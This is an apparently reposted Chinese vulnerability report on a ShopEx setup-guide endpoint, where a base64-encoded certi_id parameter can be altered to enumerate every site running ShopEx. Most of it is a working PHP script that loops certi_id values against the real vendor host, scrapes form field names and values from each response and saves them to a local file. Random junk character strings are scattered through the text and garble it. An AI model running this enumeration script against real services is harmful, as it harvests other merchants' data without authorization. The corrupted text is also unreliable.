ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
7 t$ ]3 M. z* _* pShopEx某接口缺陷,可遍历所有网站
详细说明：
3 g% B% V; _: u3 H6 [2 Z7 p. T问题出现在shopex 网店使用向导页面

5 y, @9 t7 {+ b# c; t' _

4 Q6 ]* X% I$ C5 m5 P9 o8 ghttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
2 w, l) u2 |; H3 x

' g/ D  m; N- Q6 i. Z/ V- R. U
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
* {& x/ a7 ]& n7 O

" r* t7 O6 i. |# n1 a
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
8 a! d# H3 B3 R( H. K! u
0 y: N2 h6 B5 n1 Q
& g* T1 _7 f( \8 r/ j
0 J% {2 T  b/ f( C3 i  f<?php

7 ~( d. o6 y0 \) N                for ($i=1; $i < 10000; $i++) { //遍历
' l* h4 \4 x* b5 t, V+ x" t# }7 f. \1 O
                        ShowshopExD($i);

* w* u9 j- `) \) A                }
- f  r7 f! |4 x/ m" S/ w- p
  e+ y# J6 c9 K; E  Q' W& v/ E                function ShowshopExD($cid) {
' W, F5 h' j2 c6 H
                $url='http://guide.ecos.shopex.cn/step2.php';
$ g6 Y7 Z: M: R
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
: j# Y) v3 I7 h+ v) l5 M& y
        $ch = curl_init($url);

! x8 T/ c) R2 F# P' r) N        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
! Z+ _! h6 o! L$ O
; N' {+ s' J0 S* f$ a! n        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

, l5 y$ D% k/ N. |4 _& T( a: {        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
+ u; j& x! ^$ U$ ]3 B3 `, n- y% b
' q. g! X2 {$ ?; [, U        if(strpos($result,$refer))
/ A: n$ {, R6 d& o1 @
        {

$ U. d7 @& F* e! O! U                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

* ~. A1 ?8 n4 g# T                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
- ~$ \( G- d7 S- S6 W  @& h
' M9 O0 P# |5 f* g) d4 w# T                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";

3 e9 d* Q. E6 G' m- `: q                        fwrite($fp, $col, strlen($col));

                }

$ ~7 W( X+ r. I% x% J                echo '--------------------------------'."\r\n";

                fclose($fp);

        }

& d, M3 U7 m9 {) f% W        flush();
0 `# O- ]. p" s+ ]( m7 j
        curl_close($ch);
, h$ e0 p: E) h8 @! L& E6 O
  ^" k; M$ O& j! P& w; u* K. B7 G                }
4 `' @8 j: f* |, F+ P8 Y
?>
漏洞证明：
( c( y# S, b7 I: chttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
/ l, c8 H/ r- K; M! J7 U